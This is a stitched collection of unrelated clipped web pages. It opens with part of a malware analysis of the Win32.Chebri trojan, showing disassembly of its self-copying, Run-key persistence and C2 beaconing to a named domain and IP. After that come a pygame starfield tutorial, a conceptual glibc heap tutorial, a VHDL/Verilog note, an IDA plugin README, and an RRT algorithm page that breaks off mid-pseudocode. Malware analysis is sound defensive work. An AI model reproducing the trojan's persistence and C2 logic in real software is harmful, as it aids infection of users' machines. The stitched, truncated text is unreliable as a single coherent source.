with WAIT\_TIMEOUT error execution flow reaches the end, else jumps to
“Infection” location**.** Let’s now see what happens if things goes well
\(mutex is correctly created for example\):

| `.text``:``0040235B` `Infect: ` `; CODE XREF: start+29j``.text``:``0040235B`
`; start+42j``.text``:``0040235B` `push` `104h ` `; nSize``.text``:``00402360`
`lea` `ecx``, [``ebp``+Filename]``.text``:``00402366` `push` `ecx` `;
lpFilename``.text``:``00402367` `push` `0` `; hModule``.text``:``00402369`
`call` `ds``:GetModuleFileNameW``.text``:``0040236F` `push` `offset` `String `
`; "regsrv34.exe"``.text``:``00402374` `lea` `edx``,
[``ebp``+Filename]``.text``:``0040237A` `push` `edx` `;
int``.text``:``0040237B` `call` `sub_401D80``.text``:``00402380` `add` `esp``,
``8``.text``:``00402383` `test` `eax``, ``eax``.text``:``00402385` `jnz`
`short` `make_resident_and_connect``.text``:``00402387` `call`
`sub_402010``.text``:``0040238C` `test` `eax``, ``eax``.text``:``0040238E`
`jz` `short` `make_resident_and_connect` `; if does not match criteria,
release mutex and exit,``.text``:``0040238E` `; else jump to the second
stage``.text``:``00402390` `mov` `eax``,
[``ebp``+hObject]``.text``:``00402396` `push` `eax` `;
hMutex``.text``:``00402397` `call` `ds``:ReleaseMutex``.text``:``0040239D`
`mov` `ecx``, [``ebp``+hObject]``.text``:``004023A3` `push` `ecx` `;
hObject``.text``:``004023A4` `call` `ds``:CloseHandle``.text``:``004023AA`
`push` `1` `; uExitCode``.text``:``004023AC` `call` `ds``:ExitProcess`  
---|---  
**GetModuleFileNameW** with hModule parameter **NULL** is used to retrieve the
path of the executable file of the current running process, this path is
placed into lpFilename that as you can see it’s successively used as parameter
of **call sub\_401D80** together with the String parameter which is
“regsrv34.exe”**.** call sub\_401D80 will check if the current executable is
called “regsrv34.exe”, in this case execution will jump to
“**make\_resident\_and\_connect** ” location otherwise execution will reach
**call sub\_402010****.** Let’s see what happens in this call:

| `.text``:``00402037` `push` `0` `; fCreate``.text``:``00402039` `push` `1Ah
` `; csidl``.text``:``0040203B` `lea` `eax``,
[``ebp``+NewFileName]``.text``:``00402041` `push` `eax` `;
pszPath``.text``:``00402042` `push` `0` `; hwnd``.text``:``00402044` `call`
`ds``:SHGetSpecialFolderPathW``.text``:``0040204A` `test` `eax``,
``eax``.text``:``0040204C` `jz` `loc_402120``.text``:``00402052` `push`
`offset` `String2 ` `; "\\regsrv34.exe"``.text``:``00402057` `lea` `ecx``,
[``ebp``+NewFileName]``.text``:``0040205D` `push` `ecx` `;
lpString1``.text``:``0040205E` `call` `ds``:lstrcatW``.text``:``00402064`
`push` `104h ` `; nSize``.text``:``00402069` `lea` `edx``,
[``ebp``+ExistingFileName]``.text``:``0040206F` `push` `edx` `;
lpFilename``.text``:``00402070` `push` `0` `; hModule``.text``:``00402072`
`call`
`ds``:GetModuleFileNameW``..**.**``.text``:``00402097``.text``:``00402097`
`loc_402097``: ` `; CODE XREF: sub_402010+CFj``.text``:``00402097` `push` `0`
`; bFailIfExists``.text``:``00402099` `lea` `edx``,
[``ebp``+NewFileName]``.text``:``0040209F` `push` `edx` `;
lpNewFileName``.text``:``004020A0` `lea` `eax``,
[``ebp``+ExistingFileName]``.text``:``004020A6` `push` `eax` `;
lpExistingFileName``.text``:``004020A7` `call`
`ds``:CopyFileW``..``.text``:``00402109` `push` `0` `;
lpParameters``.text``:``0040210B` `lea` `eax``,
[``ebp``+NewFileName]``.text``:``00402111` `push` `eax` `;
lpFile``.text``:``00402112` `call` `create_child_process``.text``:``00402117`
`add` `esp``, ``8``.text``:``0040211A` `mov` `[``ebp``+var_20C],
``eax``.text``:``00402120``.text``:``00402120` `loc_402120``: ` `; CODE XREF:
sub_402010+3Cj``.text``:``00402120` `mov` `eax``,
[``ebp``+var_20C]``.text``:``00402126``.text``:``00402126` `loc_402126``: ` `;
CODE XREF: sub_402010+F7j``.text``:``00402126` `mov` `esp``,
``ebp``.text``:``00402128` `pop` `ebp``.text``:``00402129`
`retn``.text``:``00402129` `sub_402010` `endp`  
---|---  
Code here should be pretty clear, via **SHGetSpecialFolderPathW** Win32.Chebri
retrieves the path to Documents and Settings\user\Application data and
successively concatenates the executable name “regsrv34.exe”**.** Next step
involves in getting again the path of the current running executable as
parameter for **CopyFileW** , in this way binary malware will be copied into
“regsrv34.exe”**.** As final step we have **call create\_child\_process** ,
the freshly copied executable will be launched via **CreateProcessW****.**

Going back to “infection” routine, at this point if something went wrong with
call sub\_402010 execution the mutex will be released and process closed, else
the execution flow will reach **make\_resident\_and\_connect** location**.**

| `.text``:``004023B2` `make_resident_and_connect: ``.text``:``004023B2`
`.text``:``004023B2` `call` `make_resident ` `; add an entry into
CurrentVersion\Run to ``survive on reboot``.text``:``004023B7` `push` `4E21h `
`; __int16``.text``:``004023BC` `push` `offset` `aAquartmale_org` `;
"aquartmale.org"``.text``:``004023C1` `call` `start_network_thread`  
---|---  
**call make\_resident** will create a registry entry into
“Software\Microsoft\Windows\CurrentVersion\Run” as we previously seen in the
volatility paragraph**.** The final **call start\_network\_thread**
constitutes the core malware functionality**.** Inside this call a new thread
located at address is spawned**.** The parameter passed to call
start\_network\_thread corresponds to the domain used by the malware to keep
in touch \( **205**.** 209.161.10** as observed via volatility connscan plugin
\)**.** Follows the corresponding code of the new thread started:

| `.text``:``00401DD4` `thread_start:``.text``:``00401DD4` `mov` `eax``,
dword_404144``.text``:``00401DD9` `cmp` `dword` `ptr` `[``eax``+1050h],
``0``.text``:``00401DE0` `jz` `short` `loc_401E08` `;jump to the end of
thread``.text``:``00401DE2` `call` `ds``:GetTickCount``.text``:``00401DE8`
`mov` `[``ebp``+var_4], ``eax``.text``:``00401DEB` `mov` `ecx``,
[``ebp``+var_4]``.text``:``00401DEE` `push` `ecx``.text``:``00401DEF` `mov`
`edx``, dword_404144``.text``:``00401DF5` `push` `edx``.text``:``00401DF6`
`call` `reach_server` `;contact the malicious domain``.text``:``00401DFB`
`add` `esp``, ``8``.text``:``00401DFE` `push` `5` `;
dwMilliseconds``.text``:``00401E00` `call` `ds``:Sleep``.text``:``00401E06`
`jmp` `short` `thread_start` `;run again`  
---|---  
**call reach\_server** is the responsible of communications with the server,
as you can see here we have a loop as could be easly seen by the jump
thread\_start, the only exit solution is given by the condition determined by
the value of **dword\_40144****.** This address is one of the two parameters
of **call reach\_server** , in other words according to what is received from
the malicious server flow execution will run again thread\_start or
divert**.**

In short, Win32.Chebri establishes a TCP connection toward a certain IP and
sends an heartbeat to the server within a certain temporal frequency**.** This
kind of malware waits for commands sent by the attacker, like for example
download and execute arbitrary files \(other malware\), upload data stolen
from the infected machine etc**.**

Sample  is available, password as usual is:  _infected_

Some reference:  
Trojan:Win32/Chebri**.** B

Trojan:Win32/Chebri**.** C

Evilcry

****

# Simple Starfield with Python and Pygame | codeNtronix
**Created:**| _5/15/2011 7:43:50 PM_  
---|---  
**Updated:**| _5/15/2011 7:43:50 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

# Simple Starfield with Python and Pygame

Posted by lefam on April 24, 2011

In this tutorial we will create a simple but cool starfield simulation with
Python and Pygame. The tutorial will be very brief and accompanied by a self-
explanatory small amount of code. See below a video of the simulation in
action.

## The Idea

To simulate the effect, we start by creating a list of stars positioned
randomly across the screen. Then, in the main loop, we continuously move and
draw the stars. When a star crosses the bottom screen border, we create a new
star at the top of the screen.

## The Code

The code is small and clear, and therefore bears a small amount of
explanation. The _init\(\)_ function creates a list of stars positioned
randomly across the screen. The _move\_and\_draw\_stars\(\)_ function moves
and draws the stars. When moving a star, _move\_and\_draw\_stars\(\)_ checks
if the star has crossed the bottom border. If so, it creates a new star at the
top of the screen.

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253|
`import` `pygame``from` `random ``import` `randrange` `MAX_STARS ``=`
`250``STAR_SPEED ``=` `2` `def` `init_stars(screen):`` ``""" Create the
starfield """`` ``global` `stars`` ``stars ``=` `[]`` ``for` `i ``in`
`range``(MAX_STARS):`` ``# A star is represented as a list with this format:
[X,Y]`` ``star ``=` `[randrange(``0``,screen.get_width() ``-` `1``),``
``randrange(``0``,screen.get_height() ``-` `1``)]`` ``stars.append(star)`
`def` `move_and_draw_stars(screen):`` ``""" Move and draw the stars in the
given screen """`` ``global` `stars`` ``for` `star ``in` `stars:``
``star[``1``] ``+``=` `STAR_SPEED`` ``# If the star hit the bottom border then
we reposition`` ``# it in the top of the screen with a random X coordinate.``
``if` `star[``1``] >``=` `screen.get_height():`` ``star[``1``] ``=` `0``
``star[``0``] ``=` `randrange(``0``,``639``)` `
``screen.set_at(star,(``255``,``255``,``255``))` `def` `main():`` ``# Pygame
stuff`` ``pygame.init()`` ``screen ``=`
`pygame.display.set_mode((``640``,``480``))``
``pygame.display.set_caption(``"Starfield Simulation"``)`` ``clock ``=`
`pygame.time.Clock()` ` ``init_stars(screen)` ` ``while` `True``:`` ``# Lock
the framerate at 50 FPS`` ``clock.tick(``50``)` ` ``# Handle events`` ``for`
`event ``in` `pygame.event.get():`` ``if` `event.``type` `=``=`
`pygame.QUIT:`` ``return` ` ``screen.fill((``0``,``0``,``0``))``
``move_and_draw_stars(screen)`` ``pygame.display.flip()` `if` `__name__
``=``=` `"__main__"``:`` ``main()`  
---|---  
Click here to download the source code.

## Conclusion

That’s everything for now. In the next tutorial I will show you how to make a
parallax starfield.

_To stay updated, make sure yousubscribe to this blog, follow us on twitter,
or ______follow us on facebook._

  *   *   * 8
8

8

8

8

8

8

8

8

  *   *   * 1
1

1

1

1

1

1

1

1

  *   *   *   * 

### Related Posts

  * A Cool Parallax Starfield Simulation using Python
  * Rotating 3D Cube using Python and Pygame
  * Rotating 3D Wireframe Cube with Python
  * Simulation of 3D Point Rotation with Python and Pygame
  * A Fast Introduction to Pygame
  * Game Programming with Python and PyGame – Making Breakout
  * First Experiment with HTML5: a Wireframe Cube

# Heap Exploitation Part 1: Understanding the Glibc Heap Implementation

**Created:**| _3/8/2019 8:26:49 AM_  
---|---  
**Updated:**| _3/8/2019 8:26:49 AM_  
**Author:**| __  
**Tags:**| _Exploit Linux Heap glibc_  
  

  

## Arm Heap Exploitation

Part 1: Understanding the Glibc Heap Implementation

In a previous article, I’ve discussed an old \(but important\) category of
memory-corruption vulnerability called “stack buffer overflows”, and how we,
as attackers, can exploit these vulnerabilities to take control of a remote
program and make it run our shellcode.

For applications that make use of an exploit mitigation called “stack
canaries”, it turns out that these stack-buffer-overflow vulnerabilities can
be harder for attackers to exploit and often require additional
vulnerabilities to exploit them reliably. When developers are using various
stack-based exploit mitigations, attackers often instead build their exploits
using heap-related vulnerabilities such as _use-after-frees, double-frees,_
and _heap-overflows_. These heap-based vulnerabilities are more difficult to
understand than their stack-based counterparts because attack techniques
against heap-based vulnerabilities can be very dependent on how the internal
implementation of the heap allocator actually works.

For this reason, before I write about exploiting heap-based vulnerabilities, I
will use the first two parts of this series to talk about how the heap works.
This first post will be an introduction into some high-level concepts, and a
discussion about how new heap chunks are created. In the next post I will do a
deeper dive into the technical implementation of how those concepts are
implemented in glibc’s heap allocator.

The way the heap works is very platform and implementation specific; lots of
different heap implementations exist. For example, Google Chrome’s
_PartitionAlloc_ is very different to the _jemalloc_ heap allocator used in
FreeBSD. The default _glibc_ heap implementation in _Linux_ is also very
different to how the heap works in _Windows_. So for this and the next few
posts, I’ll be focusing on the _glibc_ heap allocator, i.e. how heap
allocations work for C/C++ programs running on _Linux_ devices by default.
This heap is derived from the _ptmalloc_ heap implementation, which is itself
derived from the much older _dlmalloc_ \(Doug Lea malloc\) memory allocator.

What is the heap, and why do people use it?

First things first: What is the heap, and what is it for?

The _heap_ is used by C and C++ programmers to manually allocate new regions
of process memory during program execution. Programmers ask the heap manager
to allocate these regions of memory via calls to heap functions like _malloc_.
These allocated regions of memory, or “allocations”, can then be used,
modified or referenced by the programmer up until the programmer no longer
needs it and returns the allocation back to the heap manager via a call to
_free_. ****

Here is an example of how a C program might allocate, use, and later free a
structure on the heap:

[code]

    **typedef struct **
    {
        **int **field1;
        **char*** field2;
    } SomeStruct;
    
    **int** main()
    {
        SomeStruct* myObject = (SomeStruct*)malloc(**sizeof**(SomeStruct));
        **if**(myObject != NULL)
        {
            myObject->field1 = 1234;
            myObject->field2 = “Hello World!”;
            do_stuff(myObject);
    	free(myObject);
        }
    **return** 0;
    }
    
[/code]

So long as the programmer follows a few simple rules, the heap manager ensures
that each live allocation won’t overlap any other. This feature makes the heap
a very useful, highly used, and therefore very performance-sensitive feature
of most C and C++ programs.

The following graphic lists some basic rules that programmers must follow when
using the heap, alongside some of the vulnerability categories that occur if
the programmer violates these rules. In later posts I will discuss all of
these heap-related vulnerability classes in more detail, but for now I’ll just
show how the heap behaves when it is being used correctly.

<img src='img/heap-rules-1-768x596.png' width='700' height='543' />

Of course, _malloc_ and _free_ aren’t the only way C and C++ programmers
interact with the heap. C++ developers often instead allocate memory via the
C++ operators _new_ and _new\[\]_. These allocations must be released using
the corresponding C++ operators _delete_ and _delete\[\]_ rather than using
_free_. Programmers can also allocate memory via malloc-compatible heap
functions like _calloc_ , _realloc_ and _memalign_ , which, like _malloc_ ,
are eventually released via _free_.

For simplicity I’ll initially just discuss _malloc_ and _free_. Later we’ll
see that once we understand these two, most of the other heap functions become
very easy to understand.

Here is an example of how a C++ program might allocate, use, and later free a
structure on the heap:

[code]

    **class** SomeClass
    {
    **public** :
        **int** field1;
        **char** * field2;
    };
    
    **int** main()
    {
        SomeClass* myObject = **new** SomeClass();
        myObject->field1 = 1234;
        myObject->field2 = “Hello World!”;
        do_stuff(myObject);
        **delete** myObject;
        **return** 0;
    }
    
[/code]

Memory chunks and the chunk allocation strategies

Suppose a programmer asks for, say, 10 bytes of memory via _malloc_. To
service this request, the heap manager needs to do more than just find a
random 10 byte region that the programmer can write to. The heap manager also
needs to store metadata about the allocation. This metadata is stored
alongside the 10-byte region that the programmer can use.

The heap manager also needs to ensure that the allocation will be 8-byte
aligned on 32-bit systems, or 16-byte aligned on 64-bit systems. Alignment of
allocations doesn’t matter if the programmer just wants to store some data
like a text string or a byte array, but alignment can have a big impact on the
correctness and performance of programs if the programmer intends to use the
allocation to store more complex data structures. Since _malloc_ has no way to
know what the programmer will store in their allocation, the heap manager must
default to making sure all allocations are aligned.

<img src='img/chunk-allocated-simple-1-300x227.png' width='500' height='378'
/>This allocation metadata and alignment-padding bytes is stored alongside the
region of memory that _malloc_ will give back to the programmer. For this
reason, the heap manager internally allocates “chunks” of memory that are
slightly bigger than the programmer initially asked for. When the programmer
asks for 10 bytes of memory, the heap manager finds or creates a new chunk of
memory that is big enough to store the 10-byte space plus the metadata and
alignment padding bytes. The heap manager then marks this chunk as
“allocated”, and returns a pointer to the aligned 10-byte “user data” region
inside the chunk, which the programmer sees as the return value of the
_malloc_ call.

Chunk allocation: basic strategy

So how does the heap manager internally allocate these chunks?

First, let’s look at the \(heavily simplified\) strategy for allocating small
chunks of memory, which is the bulk of what the heap manager does. I’ll
explain each of these steps in a bit more detail below, and once we’ve done
that we can look at the special case of huge allocations.

The simplified chunk-allocation strategy for small chunks is this:

  1. If there is a previously-freed chunk of memory, and that chunk is big enough to service the request, the heap manager will use that freed chunk for the new allocation.
  2. Otherwise, if there is available space at the top of the heap, the heap manager will allocate a new chunk out of that available space and use that.
  3. Otherwise, the heap manager will ask the kernel to add new memory to the end of the heap, and then allocates a new chunk from this newly allocated space.
  4. If all these strategies fail, the allocation can’t be serviced, and _malloc_ returns NULL.

Allocating from free’d chunks

Conceptually, allocating a previously-freed chunk is very simple. As memory
gets passed back to _free_ , the heap manager tracks these freed chunks in a
series of different linked lists called “bins”. When an allocation request is
made, the heap manager searches those bins for a free chunk that’s big enough
to service the request. If it finds one, it can remove that chunk from the
bin, mark it as “allocated”, and then return a pointer to the “user data”
region of that chunk to the programmer as the return value of _malloc_.

<img src='img/bins-simple-1-300x281.png' width='400' height='375' />

For performance reasons, there are several different types of bins, i.e. fast
bins, the unsorted bin, small bins, large bins, and the per-thread tcache.
I’ll discuss these different types of bins in more detail in the next part of
this series.

Allocating from the top of the heap

<img src='img/heap-chunks-top.gif' width='161' height='300' />

If there are no free chunks available that can service the allocation request,
the heap manager must instead construct a new chunk from scratch. To do this,
the heap manager first looks at the free space at the end of the heap
\(sometimes called the “top chunk” or “remainder chunk”\) to see if there is
enough space there. If there is, the heap manager manufactures a new chunk out
of this free space.

Asking the kernel for more memory at the top of the heap

<img src='img/process-memory-heap-gif-1.gif' width='311' height='500' />Once
the free space at the top of the heap is used up, the heap manager will have
to ask the kernel to add more memory to the end of the heap.

On the initial heap, the heap manager asks the kernel to allocate more memory
at the end of the heap by calling _sbrk_. On most Linux-based systems this
function internally uses a system call called “brk”. This system call has a
pretty confusing name–it originally meant “change the program break location”,
which is a complicated way of saying it adds more memory to the region just
after where the program gets loaded into memory. Since this is where the heap
manager creates the initial heap, the effect of this system call is to
allocate more memory at the end of the program’s initial heap.

Eventually, expanding the heap with _sbrk_ will fail–the heap will eventually
grow so large that expanding it further would cause it to collide with other
things in the process’ address space, such as memory mappings, shared
libraries, or a thread’s stack region. Once the heap reaches this point, the
heap manager will resort to attaching new non-contiguous memory to the initial
program heap using calls to _mmap_.

If _mmap_ also fails, then the process simply can’t allocate any more memory,
and _malloc_ returns NULL.

Off-heap allocations via MMAP

Very large allocation requests\* get special treatment in the heap manager.
These large chunks are allocated off-heap using a direct call to _mmap_ , and
this fact is marked using a flag in the chunk metadata. When these huge
allocations are later returned to the heap manager via a call to _free_ , the
heap manager releases the entire _mmap_ ed region back to the system via
_munmap_.

**\*By default this threshold is 128KB up to 512KB on 32-bit systems and 32MB
on 64-bit systems, however this threshold can also dynamically increase if the
heap manager detects that these large allocations are being used
transiently.**

Arenas

On multithreaded applications, the heap manager needs to defend internal heap
data structures from race conditions that could cause the program to crash.
Prior to _ptmalloc2_ , the heap manager did this by simply using a global
mutex before every heap operation to ensure that only one thread could
interact with the heap at any given time.

Although this strategy works, the heap allocator is so high-usage and
performance sensitive that this led to significant performance problems on
applications that use lots of threads. In response to this, the _ptmalloc2_
heap allocator introduced the concept of “arenas _”_. Each arena is
essentially an entirely different heap that manages its own chunk allocation
and free bins completely separately. Each arena still serializes access to its
own internal data structures with a mutex, but threads can safely perform heap
operations without stalling each other so long as they are interacting with
different arenas.

The initial \(“main”\) arena of the program only contains the heap we’ve
already seen, and for single-threaded applications this is the only arena that
the heap manager will ever use. However, as new threads join the process, the
heap manager allocates and attaches secondary arenas to each new thread in an
attempt to reduce the chance that the thread will have to wait around waiting
for other thread when it attempts to perform heap operations like _malloc_ and
_free_.

With each new thread that joins the process, the heap manager tries to find an
arena that no other thread is using and attaches the arena to that thread.
Once all available arenas are in use by other threads, the heap manager
creates a new one, up to the maximum number of arenas of 2x _cpu-cores_ in
32-bit processes and 8x _cpu-cores_ in 64-bit processes. Once that limit is
finally reached, the heap manager gives up and multiple threads will have to
share an arena and run the risk that performing heap operations will require
one of those threads to wait for the other.

But wait a minute\! How do these secondary arenas even work? Before we saw
that the main heap is located just after where the program is loaded into
memory and is expanded using the _brk_ system call, but this can’t also be
true for secondary arenas\!

The answer is that these secondary arenas emulate the behavior of the main
heap using one or more “subheaps” created using _mmap_ and _mprotect_.

Subheaps

<img src='img/heap-arenas-0-391x1024.png' width='153' height='400' />Sub-heaps
work mostly the same way as the initial program heap, with two main
differences. Recall that the initial heap is located immediately after where
the program is loaded into memory, and is dynamically expanded by _sbrk_. By
contrast, each subheap is positioned into memory using _mmap_ , and the heap
manager manually emulates growing the subheap using _mprotect_.

When the heap manager wants to create a subheap, it first asks the kernel to
reserve a region of memory that the subheap can grow into by calling
_mmap\*__._ Reserving this region does not directly allocate memory into the
subheap; it just asks the kernel to refrain from allocating things like thread
stacks, mmap regions and other allocations inside this region.

\*By default, the maximum size of a subheap–and therefore the region of memory
reserved for the subheap to grow into–is 1MB on 32-bit processes and 64MB on
64-bit systems.

This is done by asking _mmap_ for pages that are marked _PROT\_NONE_ , which
acts as a hint to the kernel that it only needs to reserve the address range
for the region; it doesn’t yet need the kernel to attach memory to it.

<img src='img/heap-arenas-257x300.png' width='428' height='500' />Where the initial heap grew using _sbrk_ , the heap manager emulates “growing” the subheap into this reserved address range by manually invoking _mprotect_ to change pages in the region from PROT\_NONE to PROT\_READ | PROT\_WRITE. This causes the kernel to attach physical memory to those addresses, in effect causing the subheap to slowly grow until the whole _mmap_ region is full. Once the entire subheap is exhausted, the arena just allocates another subheap. This allows the secondary arenas to keep growing almost indefinitely, only eventually failing when the kernel runs out of memory, or when the process runs out of address space.
To recap: the initial \(“main”\) arena contains only the main heap which lives
just after the where the program binary is loaded into memory, and is expanded
using _sbrk_. This is the only arena that is used for single-threaded
applications. On multithreaded applications, new threads are given secondary
arenas from which to allocate. Using arenas speeds up the program by reducing
the likelihood that a thread will need to wait on a mutex before being able to
perform a heap operation. Unlike the main arena, these secondary arenas
allocate chunks from one or more _subheaps_ , whose location in memory is
first established using _mmap_ , and which grow by using _mprotect_.

Chunk metadata

Now we finally know all of the different ways that a chunk might get
allocated, and that chunks contain not only the “user data” area that will be
given to the programmer as the return value of _malloc_ , but also metadata.
But what does this chunk metadata actually record, and where does it live?

The exact layout of the chunk metadata in memory can be a bit confusing,
because the heap manager source code combines metadata at the end of one chunk
with the metadata at the start of the next, and several of the metadata fields
exist or are used depending on various characteristics of the chunk.

For now, we’ll just look at live allocations, which have a single _size\_t\*_
header that is positioned just behind the “user data” region given to the
programmer. This field, which the source code calls _mchunk\_size_ , is
written to during _malloc_ , and later used by _free_ to decide how to handle
the release of the allocation.

\*A size\_t value is an 4 byte integer on a 32-bit system and an 8 byte
integer on on a 64-bit system.

<img src='img/chunk-allocated-1-768x579.png' width='600' height='452' />

The _mchunk\_size_ stores four pieces of information: the chunk size, and
three bits called “A”, “M”, and “P”. These can all be stored in the same
_size\_t_ field because chunk sizes are always 8-byte aligned \(or 16-byte
aligned on 64-bit\), and therefore the low three bits of the chunk size are
always zero.

The “A” flag is used to tell the heap manager if the chunk belongs to
secondary arena, as opposed to the main arena. During free, the heap manager
is only given a pointer to the allocation that the programmer wants to free,
and the heap manager needs to work out which arena the pointer belongs to. If
the A flag is set in the chunk’s metadata, the heap manager must search each
arena and see if the pointer lives within any of that arena’s subheaps. If the
flag is not set, the heap manager can short-circuit the search because it
knows the chunk came from the initial arena.

The “M” flag is used to indicate that the chunk is a huge allocation that was
allocated off-heap via _mmap_. When this allocation is eventually passed back
to _free_ , the heap manager will return the whole chunk back to the operating
system immediately via _munmap_ rather than attempting to recycle it. For this
reason, freed chunks never have this flag set.

The “P” flag is confusing because it really belongs to the _previous_ chunk.
It indicates that the previous chunk is a _free_ chunk. This means when _this_
chunk is freed, it can be safely joined onto the previous chunk to create a
much larger free chunk.

  
<img src='img/heap-chunks-coalescing-gif-color.gif' width='500' height='375'
/>

In my next post, I’ll talk in more detail about how these free chunks are
“coalesced” together, and I’ll discuss how chunks are allocated and recycled
using different types of “bins”. After that we’ll look at some different
categories of heap vulnerabilities, and how they can be exploited by attackers
to remotely take control of vulnerable programs.

There are a couple of nice phrack articles on heaps I would like to share with
you in case you want to read more before I publish the next parts.

  * Once upon a free\(\)
  * Malloc des-maleficarum
  * The house of lore
  * Advanced Doug Lea’s malloc exploits
  * Yet another free\(\) exploitation technique

**Looking for a comprehensive training on exploit development?**

Sign up for my upcoming Black Hat USA training in Las Vegas, where I will be
teaching a 2-day course on “Arm-based IoT Exploit Development” \(3-day
training at Infiltrate is Sold Out\). If your company is interested in private
trainings and wants to save around 50% compared to conference trainings, send
a message to azerialabs@gmail \[.\] com.

# VHDL coding tips and tricks: How to Mix VHDL and Verilog files in your
design

**Created:**| _8/24/2014 3:13:39 PM_  
---|---  
**Updated:**| _8/24/2014 3:13:39 PM_  
**Author:**| __  
**Tags:**| _fpga_  
  

### How to Mix VHDL and Verilog files in your design

Sooner or later you will come across this question in your FPGA design career.
There are times you found the right modules in the web, but couldn't use it
just because you are using a different HDL. But you dont need to be
disappointed. Instantiating VHDL components in Verilog modules, or vice versa
is a simple process. Let me show it with an example.  

  

_**Case 1 -** **Instantiating VHDL components in Verilog modules:**_

**_  
_**

For example sake, take the synchronous D flip flop vhdl code I have written
some time before. Suppose I want to write a Verilog module in which I want to
instantiate two D- flipflops. Without worrying, you can simply instantiate it
like you do it for a verilog module. See the code:

  

module test\(  
output \[1:0\] Q,  
input Clk,  
input CE,  
input RESET,  
input SET,  
input \[1:0\] D  
\);  
  
example\_FDRSE\(Q\[0\],Clk,CE,RESET,D\[0\],SET\);  
example\_FDRSE\(Q\[1\],Clk,CE,RESET,D\[1\],SET\);  
  
endmodule  
  
  
  

_**Case 2 -** **Instantiating**_ _**Verilog modules in**_ _**VHDL
components:**_  
_**  
**_  
This case is also straightforward. You don't need to worry about anything.
Just instantiate as you normally do it with a vhdl file.  
  
Take this verilog module for instance,  
  
module a1\(  
output Q,  
input \[1:0\] D  
\);  
  
and\(Q,D\[0\],D\[1\]\);  
  
endmodule

  
  
  
  
A simpe vhdl code for instantiating this Verilog code can look like this:  
  
library IEEE;  
use IEEE.STD\_LOGIC\_1164.ALL;  
  
entity test is  
port\(  
Q : out std\_logic\_vector\(1 downto 0\);  
D :in std\_logic\_vector\(3 downto 0\)  
\);  
end test;  
  
architecture Behavioral of test is  
  
component a1 is  
port\(  
Q : out std\_logic;  
D :in std\_logic\_vector\(1 downto 0\)  
\);  
end component;  
  
begin  
  
a11 : a1 port map\(Q\(0\),D\(1 downto 0\)\);  
a22 : a1 port map\(Q\(1\),D\(3 downto 2\)\);  
  
end Behavioral;  
  
  

  

Never thought mixing vhdl and verilog files were so easy? But it is\!  

# ynvb/DIE

**Created:**| _6/23/2015 10:13:59 AM_  
---|---  
**Updated:**| _6/23/2015 10:13:59 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification_  
  

# Dynamic IDA Enrichment \(aka. DIE\)

### What is it?

DIE is an IDA python plugin designed to enrich IDA\`s static analysis with
dynamic data. This is done using the IDA Debugger API, by placing breakpoints
in key locations and saving the current system context once those breakpoints
are hit.

The saved context consist of function arguments and register states, and it is
saved upon each function CALL and function RETURN.

DIE takes advantage of IDA\`s powerful analysis engine so that when context is
taken DIE is fully aware of known function prototypes, data types, structures,
unions, arrays and basically every piece of information IDA provides during
static analysis.

In order to take this one step further, once context has been saved, DIE
attempts to parse the individual data types based on an integrated \(and
extensible\!\) value parser framework.

So for example, if the current context has a function argument with type 'CHAR
\*' DIE will dereference its address and show a human readable ASCII string as
value.

If the current context holds a argument with unknown value, DIE will not give
up and attempt to guess the value using all relevant parsers.

This parser framework is the real power behind DIE, parser plugins can parse
anything from BOOL values to image files to injected code.

The resault is a dynamic databse that holds parsed runtime arguments, which
are avilable to the user during static analysis.

### I'm not sure I got it, do you have an example?

Well, yes. I'm glad you asked\! These videos show DIE in action, check them
out if you want to understand a little bit more about how DIE works.

#### Example Video I

Bypass Password Protection In which we are going to demonstrate how DIE can be
used in order to bypass a \(very\) simple password protection scheme.

#### Example Video II

Code Coverage In which we will show you how running DIE before even looking at
the static analysis helps with code coverage, indirect calls, and function
defenitions.

#### Example Video III

Querying DieDB In which we will show you how to use DIEDB to quickly locate
the Explosive trojan de-obfuscation fuction.

### I want to write my own value parser plugin

Great, Value parser plugins are the heart of DIE. Without them DIE is
practically usless. Check out the value parser writing manual and if your
plugin turns out good, share it with the community\!

## Installation

#### Prerequisits

  1. IDA >= 6.8 \(for versions 6.6 and 6.7 check out the issues page\)
  2. Python 2.7

#### How to install

  1. Simply download DIE and run `pip install -r requirments.txt` from DIE's directory.
  2. Copy the file `die_proxy.py` into IDA plugin directory
  3. Create an enviorment variable named DIEDIR and set it's value to DIE directory.

For the Windows Handle parser plugin, you will also need to install PyWin32
\(manually :\( \)

If for some reason you want to install all the dependencies manually:

  1. Yapsy - install using `pip install yapsy` or your favorite package manager
  2. Pywin32 - install via 
  3. Sark - install using `pip install -e git+https://github.com/tmr232/Sark.git#egg=Sark`
  4. yaml - install using `pip install pyyaml`
  5. attrdict - install using `pip install attrdict`

# RRT Page: About RRTs

**Created:**| _1/31/2012 7:27:34 PM_  
---|---  
**Updated:**| _1/31/2012 7:27:49 PM_  
**Author:**| __  
**Tags:**| _bookmark searching awesome algos_  
  

<img src='img/Temp2_6714.jpg' />

# About RRTs

* * *
A Rapidly-exploring Random Tree \(RRT\) is a data structure and algorithm that
is designed for efficiently searching nonconvex high-dimensional spaces. RRTs
are constructed incrementally in a way that quickly reduces the expected
distance of a randomly-chosen point to the tree. RRTs are particularly suited
for path planning problems that involve obstacles and differential constraints
\(nonholonomic or kinodynamic\). RRTs can be considered as a technique for
generating open-loop trajectories for nonlinear systems with state
constraints. An RRT can be intuitively considered as a Monte-Carlo way of
biasing search into largest Voronoi regions. Some variations can be considered
as stochastic fractals. Usually, an RRT alone is insufficient to solve a
planning problem. Thus, it can be considered as a component that can be
incorporated into the development of a variety of different planning
algorithms.

* * *
Here is a brief description of the method for a general configuration space,
<img src='img/Temp2_6712.jpg' width='12' height='13' alt='${\cal C}$' />
\(this can be considered as a general state space that might include position
and velocity information\). An RRT that is rooted at a configuration _q_
_init_ and has _K_ vertices is constructed using the following:

BUILD\_RRT\(<img src='img/Temp2_6698.jpg' width='81' height='25'
alt='$q_{init},K,\Delta q$' />\)  
1|  _G_.init\(_q_ _init_\);  
---|---  
2| **for** _k_ = 1 **to** _K_  
3|  <img src='img/Temp2_6697.jpg' width='63' height='24' alt='$q_{rand}
\leftarrow \;$' />RAND\_CONF\(\);  
4|  <img src='img/Temp2_6710.jpg' width='62' height='24' alt='$q_{near}
\leftarrow \;$' />NEAREST\_VERTEX\(_q_ _rand_ ,_G_\);  
